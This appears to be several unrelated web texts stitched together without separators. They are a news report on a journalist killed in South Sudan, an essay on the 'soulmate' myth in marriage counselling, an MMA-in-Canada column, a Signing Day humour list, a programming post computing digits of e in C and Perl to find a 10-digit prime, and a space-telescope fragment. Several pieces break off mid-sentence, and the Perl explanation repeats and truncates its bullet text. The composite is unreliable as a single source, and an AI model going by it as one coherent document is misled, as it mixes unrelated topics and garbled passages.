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Allen was a freelance journalist who has worked for several U.S. news outlets. He had been embedded with rebels in Sudan for a week before he was killed.
According to Philly.com, Allen was also one of the first journalists on the scene of the Malaysian Airlines flight downed in Ukraine by Russia-linked rebels in 2014.
“On the ground, about 16 (bodies) have been found around the defensive position of the SPLA including this white man,” Santo Domic Chol, a military spokesman, told Reuters. Rebels in the area told the news service that Allen was there to "tell our story."
“We are sad for his family. He came here to tell our story," one rebel told Reuters.
A friend of Allen's family described the young reporter as someone with a passion for telling the stories of those afflicted by war.
“He had a passion for telling the stories of people touched by war,” Pat Hughes said. “He went to South Sudan for the same reason all good journalists go to trouble spots: to get the story and to bring that story to the world’s attention.”
South Sudan, which declared independence from Sudan in 2011, descended into civil war in 2013 among ethnic lines. More than 300,000 are believed to have died in the fighting.Why searching for a soulmate could stop you ever finding love
Ten years ago, no one used the phrase ‘soulmate’ in my marital therapy office. It was a word that belonged in Hollywood films and romantic novels.
If I’d asked a couple whether they were soulmates, or a single person if they were looking for one, they would have stared at me blankly, expected me to light incense and start chanting, or simply laughed.
Today, the term is used by around half the people who seek my help in the medium-sized, Middle England town where I’m a relationship counsellor.
Passion: But Richard Burton and Liz Taylor's marriages crumbled
Single women worry there is something wrong with them because they can’t find their soulmate, and married women question whether one nasty argument means her husband isn’t her soulmate after all. But what does the term really mean and why does my heart sink every time I hear it?
According to the myth, soulmates not only have a deep connection, but love and accept everything about each other. Being soulmates with someone implies you have similar tastes and interests, and love doing everything together.
In fact, the connection is so profound that all differences simply fall away. So there’s no need for arguments because each partner ‘gets’ the other.
In the movies, you know the seemingly mismatched couple are really soulmates when they perform karaoke and both miraculously know the words to some obscure song. All their problems melt away, and confessions of undying love and marriage on the beach swiftly follow.
The inference is that once you find your soulmate, there are no rows and you will be unquestionably accepted for who you are. No wonder everyone wants one — particularly this generation, many of whom had a front-row seat for their parents’ divorce.
Obviously, we need to believe that something will save us from repeating our parents’ mistakes — so the idea that soulmates exist is very attractive. Sadly, it’s totally devoid of realism.
'Instead of looking for a "good enough" man, women in modern society hold out for the promise of the all-singing, all-dancing, perfect partner'
Josie, an attractive 31-year-old with a high-powered job, is a prime example of the damage searching for a soulmate can do. When she came to me for counselling, she said: ‘I don’t want ordinary love. I want something passionate with someone I truly respect: a soulmate. Unfortunately, I find few men who I’m really attracted to.’
Her parents had split when she was ten and the fallout had been so bitter that more than 20 years later, her mother and father could not be in the same room and had only spoken on the phone a handful of times during emergencies.
You’d expect these experiences to make someone cynical about relationships. But, like most children of divorce, Josie longed for the transforming power of love.
She just had to find the right person — yet this is where her problems deepened. Instead of looking for a ‘good enough’ man — as her mother or grandmother would have done — modern society holds out the promise of the all-singing, all-dancing, perfect partner.
As a consequence, this search for an overpowering connection has caused Josie to choose two types of lovers. There are those who are good on paper but do not yield an immediate ‘chemistry’, so she gives up on them.
And then there are the ‘bad boys’ who are ‘passionate and deeply emotional’, but deliver brutal and destructive relationships. The most recent example was an actor who Josie knew had a girlfriend. ‘I met him at a party and we really clicked,’ she said. ‘My pulse was racing and I felt all light-headed.’
Sadly, the myth of soulmates means many women confuse passion and fear — as both make our hearts beat faster.
When we discussed her relationship further and what being the ‘other woman’ did to Josie’s self-esteem, I asked: ‘Instead of intense attraction, could your subconscious have been pumping adrenaline round your body because it was saying, “Run, run, run”?’
Fantasy: Romantic films like One Day purport the myth of soulmates
I also blame the soulmates myth for another 21st-century complaint: ‘I love you but I’m not in love with you.’
By this, I mean the way that acceptable marriages are ditched because the couple no longer feel passionately ‘in love’.
Take two of my clients, Kate, 40, and her husband Martin, 44. They have two children, a successful business they created together and, in many ways, have much to celebrate.
Yet they are feeling dissatisfied with each other. I put this down to the fact they never argue. In keeping with the soulmates ethos, Martin explains: ‘We’ve agreed on most things because we have the same values.’
Unfortunately, it is not possible for two people to live in complete harmony without one or both of them rationalising away their differences (‘it doesn’t really matter’), detaching (‘we’ll agree to differ’), or avoiding conflict (‘anything for a quiet life’).
Although this works in the short term, eventually all feelings are switched off — not just the negative ones.
'The myth of soulmates can provide a fig leaf to convince people that it is OK to cheat if they are "destined" to be with someone else'
In effect, arguing too little is just as dangerous as arguing too much. A good row clears the air, but it goes against the idea of soulmates, so people bite back their frustration — not only to prove that they are still soulmates, but also because they’re sure their partner will eventually realise what they are really feeling, without them saying it.
As no one is a mind reader — however much they love someone — this stores up resentment for the future. In addition, the pressure to be everything to each other begins to rob people of their individual identity.
After their relationship began, Martin hardly ever played golf, although it was one of his major passions, and Kate ditched her plans to take a creative writing course. Instead they focused on shared interests: eating out, entertaining and a holiday cottage.
Shortly before Kate’s 40th birthday, she woke up and thought: ‘My life feels boring. My marriage is cosy and routine. Worse still, I don’t know who I am or what I want any more.’
We all know how easy it is for one partner to be consumed with work or children and for the other to feel alone and therefore vulnerable to the attentions of a work colleague, friend or internet contact.
At this point, the myth of soulmates can provide a fig leaf to convince people that it is OK to cheat if they are ‘destined’ to be with someone else.
Another of my clients, Clive, 48, fell into this trap. He met his mistress at a conference and told me: ‘We were on the same wavelength, she understood me and my work. Meanwhile, my wife would hardly notice me when I came home or would ask: “How did it go,” but not listen to my answer.
‘In contrast, I could talk to my lover about anything for hours and she’d care passionately about the details. I can’t put it any other way: we were soulmates and our love could not be denied.’
Marriage wrecker: A belief in soulmates can lead to people having affairs if they think their husband/wife isn't actually 'the one' (posed by models)
When Clive and his mistress left their respective partners, they thought they were setting off on a new life together, but just eight weeks later Clive returned home.
‘My lover was not like I’d imagined but, more importantly, I discovered that I only knew part of her — what she was like away from responsibilities and children.’
Clive was lucky in that his wife Miranda took him back, but she has been left devastated by the infidelity.
Yet It is not just the havoc caused by the myth of soulmates that makes me angry, but how it obscures the real ingredients for a successful long-term partnership.
So instead of worrying about the heady connection with a so-called soulmate, people should focus on what really counts.
Top of the list are good relationship skills. I believe these are: managing to argue while being respectful of each other’s opinions and finding a compromise; being |
2014 A Major Blow to Canada In the MMA Business
TSN
Maybe not the three letters you were expecting. I’ll get to the greatest Canadian fighter in a second, but the biggest concern right now in Canada isn’t the return of their champion. Sportsnet’s deal with the UFC ends in late 2014. Sportsnet will likely not strike another deal with the UFC, and that will mean that the UFC will not have a home on a national sports channel in Canada.
If you want to kill a sport, having it excluded from television is an easy way to do that. The internet is a powerful place, but television still holds a strong place in sports. Hardcore fans will be willing to buy Fightpass, but the sport cannot grow if casual fans don’t see coverage of the events with their morning sports highlights.
Since Sportsnet has a monopoly on hockey for the next 12 years, TSN will have to turn to alternative sports programming. They have a lock on basketball, and on the NFL, but to compete with hockey, they’re going to have to pick up another sport, and it looks like the rights to UFC coverage will be up for grabs come 2015.
If TSN, Canada’s self proclaimed “sports leader” can cover the UFC and other organizations like WSOF, which they already have the rights to, then MMA could stay alive as a mainstream sport in Canada.
GSP
The Canadian MMA market needs Georges St. Pierre. They can survive without him, but not right now. There are other Canadians that are at the top of their divisions, but until one wins a championship, St. Pierre will be the only Canadian MMA fighter that is well known in Canadian culture. Having him return for a super-fight of sorts in 2015 would throttle the interest of MMA in Canadians.
If GSP does return to the UFC, you would have to put him in a main event in Montreal or Toronto. These shows would sell out and bring tons of local and national media attention. Not only would this bring attention back to the sport, but it would also give fighters like Rory MacDonald and TJ Grant a chance to become more well known among casual Canadian fans.
If MacDonald wins the UFC Welterweight Championship, then Canada will have a new champion, and GSP can ride off into the sunset. Until then though, Canadians need a bigger reason to care about MMA. If GSP returns, it will hype the profile of MacDonald, and Canada will hopefully see a new star born.
UFC
Although the UFC cannot be at fault for Sportsnet’s cancellation of UFC Connected and GSP’s semi-retirement, they can have a big impact on getting Canadian fans back into the palm of their hand.
The UFC took three very mediocre events into Canada this year, but can make it up to the fans in 2015. Having a champion who has yet to fight in Canada, like Ronda Rousey, Chris Weidman or Anthony Pettis would almost guarantee a sell-out crowd. There are also fan favourites like Dominick Cruz, Frankie Edgar and Mark Hunt who have never fought in Canada and would be great on a Toronto card.
There is also the return to Montreal that has been rumoured for early 2015. The most logical fight for that event would be Rory MacDonald challenging the winner of Johny Hendricks and Robbie Lawler. This fight would no doubt bring a ton of attention to MacDonald, especially considering the last time Canadian fans had a big interest in a UFC event, they saw their champion GSP get knocked around by Hendricks.
The story line creates itself. Georges St. Pierre is the true champion of the UFC’s Welterweight division, as he was never beaten for his title. Hendricks now carries that championship that should belong to Canada, in the eyes of Canadian fans. In steps MacDonald, the hungry and dangerous 25-year-old protégé of St. Pierre to bring the belt back to its homeland. The Montreal fans will sell out the arena, and hopefully Canada will embrace MacDonald as they once did GSP.
The UFC also owes Calgary and Winnipeg events in the near future after putting on two of the most boring, uninteresting and decision heavy cards in the history of the UFC. Those fans have been promised by Dana White that the UFC would return with something big, so 2015 seems like a good year to cash in on that promise.
Canada has been spoiled by the UFC in the past, and Canadian MMA fans are lucky to be seen as some of the best in the sport. The problem is that places like America and Brazil have similar passion, but see far more events. Canada earned its title of “Mecca of MMA” in 2011, and the UFC owes the country a lot. In 2015, Canada will either retain that title, or the sport will continue to fall out of relevance in the minds of the true north strong and free.
Thank you for reading. Please take a moment to follow me on Twitter – @MikeHutchLWOS. Support LWOS by following us on Twitter – @LastWordOnSport – and “liking” our Facebook page.
For the latest in sports injury news, check out our friends at Sports Injury Alert.
Have you tuned into Last Word On Sports Radio? LWOS is pleased to bring you 24/7 sports radio to your PC, laptop, tablet or smartphone. What are you waiting for?1. Lids
New Lids employees are probably confused when a 6'4 high schooler comes in and starts looking at hats that don't fit any conceivable Venn diagram of sports fan. Who would be in the market for an Alabama hat and an Auburn hat and a Notre Dame hat? Nobody likes all three of those teams! But the experienced people at Lids who have seen a Signing Day or two know this is going to be a great sale.
You're probably thinking these kids will return the hats of the schools to which they don't ultimately commit, but Lids knows this isn't true. Why? Because the parking in this mall is always terrible and a high school student has less than a 10% chance of holding on to a receipt for more than a week. His parents are just going to pass them off as unwanted gifts. Didn't you say you liked Miami once, Uncle Dave? No? Too bad, Merry Christmas.
2. Auditorium construction companies
Televised announcements that aren't hastily put together are usually held in grand architectural spaces, like the White House's East Room or the UN General Assembly. They're meant to signal the significance of the occasion and to show off the prestige of the speaker (or whoever they're speaking on behalf of).
But Signing Day doesn't take place in a notable government building or a cathedral or even a nice dining room. It's the day when the men and women who do construction's near minimum get to shine. Gaze upon this auditorium! It has concrete floors and plain walls and door big enough to get a lunch table through! And one retractable basketball hoop because the project ran out of money!
3. The God of the Abrahamic Faiths
Not every recruit thanks the Lord during his commitment, but a good number do. By comparison, who's out there thanking Zoroaster? How much love is Odin getting from the five stars? How many give credit to the embrace of scientific inquiry and freedom from the sexual tyranny of organized religion for their athletic accomplishments? Not one, Christopher Hitchens. Not ONE.
4. David Cutcliffe
I don't know where Duke finished in the recruiting rankings or if they got any major commitment who was expected to sign with a powerhouse or how well they filled their needs. What I do know is this:
8:27 a.m. -- Signing day is done for Duke. The two early enrollees and 19 letters from guys signing today are in — Laura Keeley (@laurakeeley) February 3, 2016
While other coaches were huddled around a fax machine all day, David Cutcliffe was taking a nap on the porch and listening to old episodes of Car Talk.
5. Bulldog Truthers
I'm supposed to get excited about a linebacker who commits to Georgia by pulling a damn BOSTON TERRIER out of a box? How's he gonna read an offensive alignment if he can't even make basic breed differentiations? Might as well go to Auburn where they think eagles and tigers are in the same genus. This is an embarrassment and it's why I already think Kirby Smart's not meeting expectations.
6. Baseball
Oh wait, no they didn't, because they don't take the opportunity to hijack Signing Day by making it the first day teams can sign high schoolers to million dollar contracts. God, you're so dumb, Baseball.
7. Rental car fleet owners
Congratulations on all those three year leases you just got with a fourth year option courtesy of hard-charging boosters with more money than sense. Way, way steadier profit than even corporate rentals offer. (You will be obligated to claim any weed ever found in the glove compartment was yours, though. Business has its costs.) Bonus if you got to move a Chevy Aveo! It's all about keeping the inventory moving.Back in 2004, Google ran a recruitment campaign where they posted the following billboard along the main freeway running through Silicon Valley, and later at other locations in the country:
For those who managed to find the answer, a second problem awaited on the secret web site, and those who solved that were then encouraged to send in a job application.
Effectively nerd sniped, I started playing with this problem sometime last year, and it led down a path to some excellent programming exercises.
This post describes a few different ways of solving the problem; from a Perl one-liner, to using hand-rolled fixed-point arithmetic (including an implementation of Improved division by invariant integers) or using binary splitting with GMP to compute a billion decimals of e.
The code is available in eprime.c.
Table of Contents
Finding the 10-digit Prime With Perl
Searching for "first 10-digit prime in e" quickly yields the answer: 7427466391 is the number we're looking for. But let's assume we found this problem early on, and that the solution had yet to be posted online. We can still benefit from the web by searching for "many digits of e". The first hit provides two million digits in which we can search for the solution, for example with a Perl one-liner:
$ curl -s https://apod.nasa.gov/htmltest/gifcity/e.2mil | tr -d '[:space:]' | \ perl -MMath::Prime::Util=is_prime -MList::Util=first -nle \ 'print first { is_prime($_) } /(?=([1-9]\d{9}))/g' 7427466391
(To install the required Perl module on a Debian system: sudo apt-get install libmath-prime-util-perl)
How does this work?
curl downloads the e.2mil file, which is then piped to the next command. The -s (for silent) flag makes it not print any other output.
downloads the file, which is then piped to the next command. The (for silent) flag makes it not print any other output. tr -d ) all whitespace characters, making sure the digits of e from the file end up on one line with no spaces in between them.
) all whitespace characters, making sure the digits of e from the file end up on one line with no spaces in between them. With Perl's -M flag, we import two Perl module subroutines: Math::Prime::Util::is_prime and List::Util::first.
flag, we import two Perl module subroutines: and. -n makes Perl loop over the input, executing our code for each line, with the current line in $_.
makes Perl loop over the input, executing our code for each line, with the current line in. -l causes a newline to be added to each print statement.
causes a newline to be added to each print statement. -e specifies the code we want to run.
specifies the code we want to run. The /.../g match operator matches a regular expression against $_, which holds the current line. The /g (global matching) modifier makes it return a list of all the strings matched by capture groups.
match operator matches a regular expression against, which holds the current line. The (global matching) modifier makes it return a list of all the strings matched by capture groups. The capture group in our regex, ([1-9]\d{9}), matches a non-zero digit followed by nine digits, i.e. a ten-digit number (leading zeros wouldn't count).
, matches a non-zero digit followed by nine digits, i.e. a ten-digit number (leading zeros wouldn't count). Perl starts looking for the next regex match where the previous match ends, and since we want to find all ten-digit numbers in the string, including those that overlap, we put the pattern in a lookahead assertion: (?=..). Our regex matches an empty string followed by a ten-digit number; the number isn't considered part of the match, but it does get captured.
. Our regex matches an empty string followed by a ten-digit number; the number isn't considered part of the match, but it does get captured. first returns the first element from the list of regex matches for which is_prime returns true.
returns the first element from the list of regex matches for which returns true. Finally, that element is printed.
Computing e Ourselves
Computing mathematical constants to a large number of digits has been a popular sport (in select circles) for a long time. Pi is especially popular, with the current record at 22.5 trillion digits, but e too has been computed to extreme precision (at least to 5 trillion digits).
One way to approach the computation is from Taylor's theorem, which for e gives us
where R, the remainder term, is bounded by
The factorial in the denominator of the remainder term means the series converges quickly.
By choosing a large enough n and adding the terms of the series, we can approximate e to any precision we want. To get k correct decimals, we need an n such that
Taking the logarithm of both sides and using Stirling's approximation for factorials gives us
Since the left-hand side is monotonic, we can use binary search to quickly find the smallest n that fulfills the inequality:
uint64_t compute_n ( uint64_t k ) { /* Find n such that (n + 1) * ln(n + 1) - (n + 1) > 1 + k * ln(10) using binary search. */ uint64_t hi, lo, n ; hi = UINT64_MAX ; lo = 0 ; while ( hi - lo > 1 ) { n = lo + ( hi - lo ) / 2 ; if (( n + 1 ) * log ( n + 1 ) - ( n + 1 ) <= 1 + k * log ( 10 )) { lo = n ; } else { hi = n ; } } return hi ; }
To compute 10,000 decimals, we need 3,249 terms.
For the computation of e, we cannot use the regular double data type, since it only has enough precision for a handful of decimals. Instead, we will use GMP's arbitrary-precision floating-point functions.
How many bits of precision do we need? Each decimal digit requires
bits, so to compute 10,000 decimals we define:
#ifndef NUM_DECIMALS #define NUM_DECIMALS 10000ULL #endif #define NUM_DIGITS (1 + NUM_DECIMALS) #define NUM_BITS (NUM_DIGITS * 3322 / 1000 + 999)
(Note that we have to be careful not to lose any bits due to the truncating integer division.)
We need two floating-point variables: one for the sum of the terms (which approaches e), and one for the current term. The current term starts at 1, and then we divide it by 1, 2, 3, etc. so that in each loop iteration, its value is 1/i!
void eprime_gmp ( void ) { uint64_t i, n ; mpf_t e, term ; char * s ; mp_exp_t strexp ; n = compute_n ( NUM_DECIMALS ); /* Compute e. */ mpf_set_default_prec ( NUM_BITS ); mpf_init_set_ui ( e, 1 ); mpf_init_set_ui ( term, 1 ); for ( i = 1 ; i <= n ; i ++ ) { mpf_div_ui ( term, term, i ); mpf_add ( e, e, term ); } mpf_clear ( term );
We convert the final value to a string of decimal digits using mpf_get_str:
/* Convert to string of decimal digits. */ s = mpf_get_str ( NULL, & strexp, 10, NUM_DIGITS, e ); mpf_clear ( e ); assert ( strexp == 1 ); assert ( strlen ( s ) == NUM_DIGITS ); #ifdef PRINT_E printf ( "2.%s
", & s [ 1 ]); #endif
The string we get back starts with "2718..", i.e. there is an implicit decimal point after the first character.
Finally, we iterate over the string, checking for 10-digit primes with mpz_probab_prime_p:
find_prime_gmp ( & s [ 1 ]); free ( s ); } /* Find the first 10-digit prime in string s with length NUM_DECIMALS. */ void find_prime_gmp ( const char * s ) { int i ; mpz_t p ; mpz_init ( p ); for ( i = 1 ; i + 9 < NUM_DECIMALS ; i ++ ) { if ( s [ i ] == '0' || ( s [ i + 9 ] - '0' ) % 2 == 0 ) { /* Skip leading zeros and even numbers. */ continue ; } gmp_sscanf ( & s [ i ], "%10Zd", p ); if ( mpz_probab_prime_p ( p, 20 )) { gmp_printf ( "%Zd is prime
", p ); break ; } } mpz_clear ( p ); }
To install GMP, build and run the program on Debian:
$ sudo apt-get install libgmp-dev $ gcc -O3 -DNDEBUG eprime.c -lm -lgmp $./a.out 7427466391 is prime
On Mac, to install GMP from MacPorts, build and run the program:
$ sudo port install gmp $ clang -O3 -DNDEBUG -I/opt/local/include -L/opt/local/lib eprime.c -lm -lgmp $./a.out 7427466391 is prime
To print the digits, pass along -DPRINT_E:
$ gcc -O3 -DNDEBUG -DPRINT_E eprime.c -lm -lgmp $./a.out 2.718281828459045235360287471352662497757247093699959574966967627724076630353547 59457138217852516642742746639193200305992181741359662904357290033429526059563073 81323286279434907632338298807531952510190115738341879307021540891499348841675092 44761460668082264800168477411853742345442437107539077744992069551702761838606261 33138458300075204493382656029760673711320070932870912744374704723069697720931014... 91674197015125597825727074064318086014281490241467804723275976842696339357735429 30186739439716388611764209004068663398856841681003872389214483176070116684503887 21236436704331409115573328018297798873659091665961240202177855885487617616198937 07943800566633648843650891448055710397652146960276625835990519870423001794655367 89 7427466391 is prime
The result can be compared against for example this page.
(Note that mpf_get_str has rounded the last decimal up to 9, and so has that page. If you print more decimals, you will see that the 10,000th decimal is actually 8, followed by 5674..)
As it turns out, the 10-digit prime occurs early in e, starting at the 99th decimal (in the second row above), so there is no need to compute all 10,000 decimals. But more decimals is more fun!
Computing e Ourselves Without GMP
It seems amazing that just by repeatedly dividing and adding some numbers together, we end up with this sophisticated mathematical constant.
GMP did all the work in the code above. Perhaps if we implemented all of it ourselves, it would be even more satisfying? This seems like a worthwhile programming exercise.
Fixed-Point Representation
Remember how numbers are represented in our regular decimal system. For example:
As long as we remember the position of the decimal point, we could simply store the number as an array of digits:
int nbr [ 6 ] = { 1, 2, 3, 4, 5, 6 };
This is called fixed-point representation because the implicit decimal point occurs in a fixed position of the number (as opposed to floating-point, where it can change).
Since the instructions in modern computers perform arithmetic on 64-bit values, it's much more efficient to store numbers as arrays of 64-bit values rather than decimals.
As we know that the integer part of e is 2, we only concern ourselves with computing and storing the fractional part. We will represent it as an array of n 64-bit words:
Fixed-Point Addition
To compute e, we only need to perform two operations: addition and division (what we did with mpf_add and mpf_div_ui in the GMP version).
Addition is straight-forward; we add the numbers place by place, starting at the least significant end and carrying the one as necessary (this is Algorithm A in The Art of Computer Programming, Section 4.3.1):
/* Add n-place integers u and v into w. */ void addn ( int n, const uint64_t * u, const uint64_t * v, uint64_t * w ) { bool carry, carry_a, carry_b ; uint64_t sum_a, sum_b ; int j ; carry = false ; for ( j = 0 ; j < n ; j ++ ) { sum_a = u [ j ] + carry ; carry_a = ( sum_a < u [ j ]); sum_b = sum_a + v [ j ]; carry_b = ( sum_b < sum_a ); w [ j ] = sum_b ; assert ( carry_a + carry_b <= 1 ); carry = carry_a + carry_b ; } }
Fixed-Point Division
Performing the division is trickier. Luckily, we only need to divide our n-word term number by a single word. That means the algorithm is straight-forward, essentially how we do short division in school.
However, the algorithm relies on being able to divide a two-word divisor by a one-word dividend (dividing 128 bits by 64 bits in our case), "two-by-one division". Some CPUs have an instruction for that; for example, Intel x86's DIV does exactly what we need as long as the result fits in a single word (which it always will in our case). But it is not possible to express that division in standard C, and many CPUs don't have an instruction for it.
Instead, we will perform two-by-one division using a clever technique that relies on multiplying the divisor with the approximate reciprocal of the dividend. Not only does this solve the division problem for us, it solves it efficiently because we can reuse the reciprocal when dividing by the same value multiple times. Using X86's DIV instruction would be much slower since it can take up to 100 cycles.
The algorithm is described in Möller and Granlund "Improved division by invariant integers" (IEEE Trans. Comput. 2011). The paper is an improved version of Granlund and Montgomery "Division by Invariant Integers using Multiplication" (PLDI'94) which is also the subject of Chapter 10 in Hacker's Delight.
The approximate reciprocal is defined as
which when d is "normalised", meaning that its highest bit is set, fits in a 64-bit word. Basically it's 1/d shifted up 128 bits, with some adjustments to make it fit in a 64-bit word.
The algorithms in the paper rely on performing 64-bit by 64-bit multiplications, the results of which can be up to 128 bits. Standard C only provides the lower 64 bits of such multiplications, which the paper refers to as umullo:
uint64_t umullo ( uint64_t a, uint64_t b ) { return a * b ; }
Most CPUs do provide the full result of the multiplication. With GCC or Clang we can use the non-standard __uint128_t type to implement umulhi (the high 64-bits of the result) and umul (both the high and low 64-bits). With Microsoft Visual C++ we can use intrinsics, and when none of those options are available, we can compute the result by hand using four 32-bit multiplications:
#if defined(__GNUC__) void umul ( uint64_t a, uint64_t b, uint64_t * p1, uint64_t * p0 ) { __uint128_t p = ( __uint128_t ) a * b ; * p1 = ( uint64_t )( p >> 64 ); * p0 = ( uint64_t ) p ; } uint64_t umulhi ( uint64_t a, uint64_t b ) { return ( uint64_t )((( __uint128_t ) a * b ) >> 64 ); } #elif defined(_MSC_VER) && defined(_M_X64) #include <intrin.h> void umul ( uint64_t a, uint64_t b, uint64_t * p1, uint64_t * p0 ) { * p0 = _umul128 ( a, b, p1 ); } uint64_t umulhi ( uint64_t a, uint64_t b ) { return __umulh ( a, b ); } #else void umul ( uint64_t x, uint64_t y, uint64_t * p1, uint64_t * p0 ) { uint32_t x0 = ( uint32_t ) x, x1 = ( uint32_t )( x >> 32 ); uint32_t y0 = ( uint32_t ) y, y1 = ( uint32_t )( y >> 32 ); uint64_t p ; uint32_t res0, res1, res2, res3 ; p = ( uint64_t ) x0 * y0 ; res0 = ( uint32_t ) p ; res1 = ( uint32_t )( p >> 32 ); p = ( uint64_t ) x0 * y1 ; res1 = ( uint32_t )( p += res1 ); res2 = ( uint32_t )( p >> 32 ); p = ( uint64_t ) x1 * y0 ; res1 = ( uint32_t )( p += res1 ); p >>= 32 ; res2 = ( uint32_t )( p += res2 ); res3 = ( uint32_t )( p >> 32 ); p = ( uint64_t ) x1 * y1 ; res2 = ( uint32_t )( p += res2 ); res3 += ( uint32_t )( p >> 32 ); * p0 = (( uint64_t ) res1 << 32 ) | res0 ; * p1 = (( uint64_t ) res3 << 32 ) | res2 ; } uint64_t umulhi ( uint64_t a, uint64_t b ) { uint64_t p0, p1 ; umul ( a, b, & p1, & p0 ); return p1 ; } #endif
With these functions in place, we can proceed to implement reciprocal_word, which computes v using carefully implemented (and hard to follow in the paper) Newton iteration.
/* Algorithm 2 from Möller and Granlund "Improved division by invariant integers". */ uint64_t reciprocal_word ( uint64_t d ) { uint64_t d0, d9, d40, d63, v0, v1, v2, ehat, v3, v4, hi, lo ; static const uint64_t table [] = { /* Generated with: for (int i = (1 << 8); i < (1 << 9); i++) printf("0x%03x,
", ((1 << 19) - 3 * (1 << 8)) / i); */ 0x7fd, 0x7f5, 0x7ed, 0x7e5, 0x7dd, 0x7d5, 0x7ce, 0x7c6, 0x7bf, 0x7b7, 0x7b0, 0x7a8, 0x7a1, 0x79a, 0x792, 0x78b, 0x784, 0x77d, 0x776, 0x76f, 0x768, 0x761, 0x75b, 0x754, 0x74d, 0x747, 0x740, 0x739, 0x733, 0x72c, 0x726, 0x720, 0x719, 0x713, 0x70d, 0x707, 0x700, 0x6fa, 0x6f4, 0x6ee, 0x6e8, 0x6e2, 0x6dc, 0x6d6, 0x6d1, 0x6cb, 0x6c5, 0x6bf, 0x6ba, 0x6b4, 0x6ae, 0x6a9, 0x6a3, 0x69e, 0x698, 0x693, 0x68d, 0x688, 0x683, 0x67d, 0x678, 0x673, 0x66e, 0x669, 0x664, 0x65e, 0x659, 0x654, 0x64f, 0x64a, 0x645, 0x640, 0x63c, 0x637, 0x632, 0x62d, 0x628, 0x624, 0x61f, 0x61a, 0x616, 0x611, 0x60c, 0x608, 0x603, 0x5ff, 0x5fa, 0x5f6, 0x5f1, 0x5ed, 0x5e9, 0x5e4, 0x5e0, 0x5dc, 0x5d7, 0x5d3, 0x5cf, 0x5cb, 0x5c6, 0x5c2, 0x5be, 0x5ba, 0x5b6, 0x5b2, 0x5ae, 0x5aa, 0x5a6, 0x5a2, 0x59e, 0x59a, 0x596, 0x592, 0x58e, 0x58a, 0x586, 0x583, 0x57f, 0x57b, 0x577, 0x574, 0x570, 0x56c, 0x568, 0x565, 0x561, 0x55e, 0x55a, 0x556, 0x553, 0x54f, 0x54c, 0x548, 0x545, 0x541, 0x53e, 0x53a, 0x537, 0x534, 0x530, 0x52d, 0x52a, 0x526, 0x523, 0x520, 0x51c, 0x519, 0x516, 0x513, 0x50f, 0x50c, 0x509, 0x506, 0x503, 0x500, 0x4fc, 0x4f9, 0x4f6, 0x4f3, 0x4f0, 0x4ed, 0x4ea, 0x4e7, 0x4e4, 0x4e1, 0x4de, 0x4db, 0x4d8, 0x4d5, 0x4d2, 0x4cf, 0x4cc, 0x4ca, 0x4c7, 0x4c4, 0x4c1, 0x4be, 0x4bb, 0x4b9, 0x4b6, 0x4b3, 0x4b0, 0x4ad, 0x4ab, 0x4a8, 0x4a5, 0x4a3, 0x4a0, 0x49d, 0x49b, 0x498, 0x495, 0x493, 0x490, 0x48d, 0x48b, 0x488, 0x486, 0x483, 0x481, 0x47e, 0x47c, 0x479, 0x477, 0x474, 0x472, 0x46f, 0x46d, 0x46a, 0x468, 0x465, 0x463, 0x461, 0x45e, 0x45c, 0x459, 0x457, 0x455, 0x452, 0x450, 0x44e, 0x44b, 0x449, 0x447, 0x444, 0x442, 0x440, 0x43e, 0x43b, 0x439, 0x437, 0x435, 0x432, 0x430, 0x42e, 0x42c, 0x42a, 0x428, 0x425, 0x423, 0x421, 0x41f, 0x41d, 0x41b, 0x419, 0x417, 0x414, 0x412, 0x410, 0x40e, 0x40c, 0x40a, 0x408, 0x406, 0x404, 0x402, 0x400 }; assert ( d > UINT64_MAX / 2 && "d must be normalized." ); d0 = d & 1 ; d9 = d >> 55 ; d40 = ( d >> 24 ) + 1 ; d63 = ( d >> 1 ) + d0 ; v0 = table [ d9 - ( 1 << 8 )]; v1 = ( v0 << 11 ) - ( umullo ( umullo ( v0, v0 ), d40 ) >> 40 ) - 1 ; v2 = ( v1 << 13 ) + ( umullo ( v1, ( 1ULL << 60 ) - umullo ( v1, d40 )) >> 47 ); ehat = ( v2 >> 1 ) * d0 - umullo ( v2, d63 ); v3 = ( v2 << 31 ) + ( umulhi ( v2, ehat ) >> 1 ); umul ( v3, d, & hi, & lo ); v4 = v3 - ( hi + d + ( lo + d < lo )); #if defined(__GNUC__) && defined(__x86_64__) &&!defined(NDEBUG) uint64_t asmq, asmr ; __asm__ ( "divq %2" : "=a" ( asmq ), "=d" ( asmr ) : "r" ( d ), "d" ( UINT64_MAX - d ), "a" ( UINT64_MAX ) : "cc" ); assert ( v4 == asmq ); #endif return v4 ; }
If we do have access to the X86 DIV instruction, it can be used to compute the approximate reciprocal directly. We use this in the assert above to check our work.
Using the reciprocal, 2-by-1 division is implemented as below, using two multiplications and some adjustments.
/* Algorithm 4 from Möller and Granlund "Improved division by invariant integers". Divide u1:u0 by d, returning the quotient and storing the remainder in r. v is the approximate reciprocal of d, as computed by reciprocal_word. */ uint64_t div2by1 ( uint64_t u1, uint64_t u0, uint64_t d, uint64_t * r, uint64_t v ) { uint64_t q0, q1 ; assert ( u1 < d && "The quotient must fit in one word." ); assert ( d > UINT64_MAX / 2 && "d must be normalized." ); umul ( v, u1, & q1, & q0 ); q0 = q0 + u0 ; q1 = q1 + u1 + ( q0 < u0 ); q1 ++ ; * r = u0 - umullo ( q1, d ); q1 = ( * r > q0 )? q1 - 1 : q1 ; * r = ( * r > q0 )? * r + d : * r ; if ( * r >= d ) { q1 ++ ; * r -= d ; } #if defined(__GNUC__) && defined(__x86_64__) |
together in a formation as wide as the distance from Honolulu to Houston — creating, effectively, a single, massive telescope that could peer into unexplored pockets of space.
In recent years there has been an explosion of planet discoveries in the Milky Way, including dozens that are considered Earth-like "candidates" — close enough to their star, as we are to the sun, to harbor life, at least in theory.
"Now you can take pictures of Earth-like planets to the point where you can see continents, weather systems, maybe even a forest," Scharf said. "We can look for bioindicators: methane, ozone, water in the atmosphere of these planets."
The same technology, give or take, could be used in missions that would represent significant leaps — to map the currents in the underground oceans of one of Jupiter's moons, for example, or to chart the changes in snowfall on Mars with the turn of its seasons.
One recent academic paper said the technology could yield so much progress that it would be akin to recording a football game with video cameras rather than still photographs.
After they learn more about teaching spacecraft to work together autonomously, scientists even hope to send up "swarms" of iPod-size spaceships, flying in formation. That technology is expected to yield contributions in communication — they could one day replace satellites — and to measure complex radar and radio frequencies.
